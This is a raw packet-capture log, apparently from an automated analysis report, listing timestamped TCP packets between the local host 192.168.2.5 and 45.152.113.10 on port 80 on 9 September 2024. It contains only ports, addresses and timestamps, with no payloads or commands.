Sep 9, 2024 18:45:04.870897055 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.870937109 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.871025085 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.871078968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.871453047 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.871454000 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.871469975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.871486902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.871503115 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.871516943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.871517897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.871536016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.871546030 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.871553898 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.871567965 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.871572018 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.871589899 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.871607065 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.871613026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.871624947 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.871629953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.871648073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.871654987 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.871673107 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.871691942 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.871778965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.871797085 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.871810913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.871826887 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.871828079 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.871845007 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.871855021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.871877909 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.871910095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.871927023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.871942997 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.871958971 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.871959925 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.871975899 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.871977091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.871990919 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.871994019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872009039 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872020006 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872040033 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872045994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872061968 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872076988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872093916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872106075 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872109890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872121096 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872133970 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872153044 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872158051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872174025 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872189045 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872205973 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872220993 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872224092 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872241974 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872241974 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872272968 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872353077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872370958 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872395039 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872397900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872411013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872421980 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872427940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872431040 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872443914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872456074 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872459888 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872476101 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872492075 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872493029 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872509956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872513056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872526884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872539043 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872550964 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872555017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872571945 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872591019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872596979 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872607946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872625113 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872628927 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872641087 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872648954 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872659922 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872663021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872677088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872684956 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872700930 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872714996 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872719049 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872735023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872750044 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872766972 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872777939 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872781992 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872787952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872798920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872811079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872816086 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872833014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872833967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872850895 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872862101 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872868061 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872874975 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872884989 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.872889042 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872915983 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.872942924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.873143911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.873159885 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.873176098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.873191118 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.873207092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.873208046 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.873219967 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.873240948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.873246908 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.873262882 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.873262882 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.873281002 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.873298883 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.873306036 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.873312950 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.873323917 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.873341084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.873348951 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.873357058 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.873366117 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.873380899 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.873382092 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.873390913 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.873399019 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.873411894 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.873416901 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.873420000 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.873457909 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.873466969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.873758078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.873949051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.873964071 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.873981953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.873994112 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.873999119 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.874008894 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.874017000 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.874030113 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.874031067 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.874046087 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.874049902 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.874063015 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.874066114 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.874077082 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.874082088 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.874090910 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.874099016 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.874114990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.874120951 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.874131918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.874145985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.874149084 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.874155998 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.874164104 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.874178886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.874188900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.874211073 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.962754965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.962778091 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.962794065 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.962814093 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.962831020 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.962846994 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.962886095 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.962903023 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.962918043 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.962934017 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.962949991 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.962965965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.962982893 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.962999105 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963047028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963047028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963047028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963047028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963047028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963047028 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963083029 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963083029 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963083029 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963090897 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963108063 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963112116 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963124990 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963140965 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963155985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963156939 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963175058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963188887 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963213921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963213921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963213921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963213921 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963253975 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963262081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963262081 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963279963 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963298082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963311911 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963315010 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963330984 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963330984 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963350058 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963366985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963366985 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963393927 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963417053 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963428020 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963428020 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963434935 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963450909 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963466883 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963485956 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963485956 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963577032 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963577032 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963577032 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963738918 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963754892 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963769913 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963783026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963787079 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963799953 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963807106 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963818073 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963830948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963830948 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963835955 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963865042 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963884115 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963888884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963907003 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963923931 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963936090 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963942051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963958979 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963960886 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963977098 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.963979959 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.963989973 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964013100 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964025021 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964040041 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964056015 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964070082 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964086056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964086056 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964101076 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964102983 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964118958 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964119911 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964133978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964137077 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964149952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964180946 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964186907 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964196920 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964212894 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964231014 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964246035 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964246988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964263916 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964263916 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964278936 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964292049 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964310884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964312077 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964328051 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964344978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964360952 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964360952 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964378119 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964380026 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964392900 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964396954 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964404106 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964412928 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964432001 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964447975 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964453936 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964469910 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964473009 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964485884 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964500904 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964503050 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964518070 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964519978 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964534044 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964538097 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964550018 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964559078 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964570999 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964580059 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964581013 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964597940 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964601040 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964613914 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964628935 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964632988 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964648008 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964653969 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964665890 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964669943 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964683056 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964690924 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964700937 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964706898 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964719057 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964730978 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964735985 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964751005 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964762926 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964782953 CEST	49707	80	192.168.2.5	45.152.113.10
Sep 9, 2024 18:45:04.964802027 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964818001 CEST	80	49707	45.152.113.10	192.168.2.5
Sep 9, 2024 18:45:04.964844942 CEST	49707	80	192.168.2.5	45.152.113.10
